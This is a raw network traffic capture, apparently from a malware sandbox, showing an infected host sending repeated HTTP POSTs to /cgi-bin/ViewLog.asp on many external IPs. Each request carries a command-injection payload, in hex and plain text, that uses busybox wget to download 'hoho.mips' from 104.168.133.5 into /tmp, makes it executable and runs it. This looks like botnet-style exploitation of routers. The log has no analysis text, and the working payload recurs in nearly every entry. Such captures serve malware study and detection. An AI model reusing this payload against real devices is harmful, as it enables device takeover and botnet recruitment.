Nov 23, 2023 05:17:03.697217941 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:03.799503088 CET	1314	IN	HTTP/1.1 400 Bad Request Server: squid/6.0.0-20220501-re899e0c27 Mime-Version: 1.0 Date: Thu, 23 Nov 2023 04:17:03 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3572 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en Cache-Status: ezproxies.com Via: 1.1 ezproxies.com (squid/6.0.0-20220501-re899e0c27) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2022 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, s

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.13	42568	31.136.202.160	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:03.781032085 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:06.854363918 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:12.998356104 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:25.030358076 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:49.606343031 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.13	38718	31.136.181.187	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:03.883887053 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:04.454417944 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:05.606381893 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:07.878356934 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:12.486365080 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:21.702406883 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:41.414271116 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:18.278290987 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.13	36706	95.214.179.190	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:03.890145063 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:08.134412050 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:14.278383017 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:26.310372114 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:51.654232025 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.13	48592	31.30.120.41	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:03.899869919 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:04.104372025 CET	430	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 04:37:22 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.13	34924	94.30.248.80	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:03.915270090 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:04.133812904 CET	328	IN	HTTP/1.0 200 OK Server: httpd/2.0 x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Date: Thu, 23 Nov 2023 04:17:03 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp';</script></HEAD></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.13	34938	94.30.248.80	8080

Timestamp	Bytes transferred	Direction	Data
